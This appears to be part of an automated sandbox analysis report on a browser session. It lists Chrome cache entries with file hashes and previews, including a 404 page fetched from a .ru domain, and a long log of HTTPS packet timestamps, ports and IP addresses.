Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var p=e[l](h),f=p.value}catch(s){n(s);return}p.done?r(f):Promise.resolve(f).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(f){Wt(l,o,c,h,p,"next",f)}function p(f){Wt(l,o,c,h,p,"throw",f)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47531)
Category:	dropped
Size (bytes):	47532
Entropy (8bit):	5.399631966931825
Encrypted:	false
SSDEEP:	768:khCcfnNm52VJHkmnX7knsQMcvjdMdSzCTLos4P8X60Yo6VA3H1KCZ2EHCb+I29Na:kbNm8JHnnX7ksG7CT0K6V4P8
MD5:	808A57CAE0B6FEE71F46EFDDED44B348
SHA1:	DD570A24C8BDA1B391AA1DDEA6004125818E579A
SHA-256:	5B75AC6F98994352699841DFFA6E562725EBBD0005C539946AD3625EC550EB0F
SHA-512:	3F06DFBFDEDE9BB4270EB1BBBE29FFBDB6E19DC0AA8234E1A2B92D84F0737555031231965151EFC386510193343985BCEC63062484BBD8EC0540A94A0109B765
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var p=e[l](h),f=p.value}catch(s){n(s);return}p.done?r(f):Promise.resolve(f).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(f){Wt(l,o,c,h,p,"next",f)}function p(f){Wt(l,o,c,h,p,"throw",f)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	1249
Entropy (8bit):	5.242453121762845
Encrypted:	false
SSDEEP:	24:hYYIzD6yJRA3ZsjNQCRtgoLY95Mu56+eDHHLFCOXAkRcfRrzd0Ll72rKQk:rq6Kj2CZLY5Mc6NDLYzkYKLlOM
MD5:	F58515DFE987F7E027C8A71BBC884621
SHA1:	BEC6AEBF5940EA88FBBFF5748D539453D49FA284
SHA-256:	679E7E62B81267C93D0778083AE0FD0EFE24172FF0AC581835B54165B3D9ED43
SHA-512:	F085346A38318F7935D76909DB0367862924CC9B0D96256F7FF4E8999C041E610BBCDE8CA56C92673BDE0991C85E9C9D9B6726ABD91D0C3177462C80D4A99140
Malicious:	false
Reputation:	low
URL:	https://baytul-hijabo.ru/favicon.ico
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 16:25:18.564222097 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:18.564254999 CET	443	49698	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:18.564316988 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:18.564577103 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:18.564620972 CET	443	49699	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:18.564678907 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:18.565011978 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:18.565028906 CET	443	49698	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:18.565402031 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:18.565431118 CET	443	49699	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.177687883 CET	443	49699	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.178158045 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.178175926 CET	443	49699	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.179652929 CET	443	49699	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.179802895 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.180706978 CET	443	49698	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.180951118 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.180984974 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.181049109 CET	443	49699	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.181075096 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.181123018 CET	49699	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.181441069 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.181482077 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.181662083 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.181679964 CET	443	49698	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.181696892 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.181987047 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.182010889 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.182976007 CET	443	49698	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.183064938 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.183384895 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.183398008 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.183446884 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.183490038 CET	443	49698	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.183557034 CET	49698	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.183726072 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.183780909 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.183856964 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.184062004 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.184076071 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.797168016 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.797463894 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.797499895 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.798563957 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.798629999 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.799707890 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.799782991 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.799987078 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:19.800000906 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:19.850845098 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.152851105 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.153177977 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.153212070 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.154254913 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.154334068 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.154692888 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.154752970 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.174753904 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.174807072 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.174922943 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.174976110 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.175348997 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.176238060 CET	49701	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.176271915 CET	443	49701	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.197509050 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.197554111 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.197645903 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.197936058 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.197951078 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.199338913 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.199352026 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:20.245831013 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:20.811860085 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.812405109 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.812432051 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.813513041 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.813604116 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.814726114 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.814805031 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.814949989 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.855360031 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.862788916 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.862801075 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.910826921 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.955766916 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.955842972 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.956394911 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.956408978 CET	443	49703	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.956607103 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.956607103 CET	49703	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.958168983 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.958220959 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:20.958300114 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.958609104 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:20.958622932 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.573285103 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.573653936 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.573718071 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.574888945 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.575236082 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.575404882 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.575448990 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.625806093 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.723143101 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723265886 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723356962 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.723397970 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723422050 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723470926 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.723572016 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723675013 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723737001 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.723773003 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723853111 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.723895073 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.724004030 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.724035978 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.724234104 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.728365898 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.777795076 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.840514898 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840584993 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840607882 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840630054 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840636015 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.840650082 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840665102 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840692997 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.840712070 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.840712070 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.841564894 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.841589928 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.841609955 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.841674089 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.841708899 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.842180967 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.842205048 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.842227936 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.842250109 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.842261076 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.842287064 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.842300892 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.842367887 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.843087912 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.843130112 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.843157053 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.843183041 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.843199968 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.843287945 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.843848944 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.896214962 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.958046913 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.958106041 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.958132982 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.958157063 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.958184004 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.958270073 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.958285093 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:21.958292961 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.958331108 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.960377932 CET	49704	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:21.960416079 CET	443	49704	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.001230001 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.001266956 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.001415014 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.001808882 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.001825094 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.022259951 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.022298098 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.022372961 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.022603989 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.022618055 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.504091024 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:22.504123926 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:22.504220009 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:22.504461050 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:22.504472017 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:22.628295898 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.628602982 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.628618956 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.629704952 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.629797935 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.630203009 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.630291939 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.630388975 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.630397081 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.641809940 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.642066956 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.642081022 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.643141985 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.643215895 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.643567085 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.643635035 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.643743992 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.643754005 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.672796011 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.688827038 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.779189110 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.779284000 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.779306889 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.779329062 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.779351950 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.779392004 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.779397964 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.779850006 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.779887915 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.779894114 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.784436941 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.784490108 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.784496069 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.792377949 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792414904 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792443037 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792470932 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792500019 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.792500973 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792500019 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.792515993 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792629957 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.792638063 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792824984 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792854071 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792879105 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.792889118 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.792931080 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.803098917 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.803139925 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.803334951 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.803839922 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.803858995 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.830795050 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.895823002 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.895864964 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.895915985 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.895940065 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.896150112 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.896202087 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.896207094 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.896270037 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.896301031 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.896311045 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.896315098 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.896361113 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.897289038 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.897345066 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.897381067 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.897391081 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.897396088 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.897453070 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.897458076 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.897470951 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.897515059 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.897571087 CET	49706	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.897582054 CET	443	49706	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.902359962 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.902400970 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.902476072 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.902693033 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:22.902705908 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:22.915668011 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.915724993 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.915752888 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.915802002 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.915817022 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.915884972 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.916023970 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.916070938 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.916100025 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.916106939 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.916121960 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.916192055 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.917040110 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917089939 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917118073 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917136908 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.917150021 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917164087 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917201996 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.917860031 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917892933 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917917967 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917943001 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.917949915 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.917973995 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.918591976 CET	443	49705	104.18.94.41	192.168.2.16
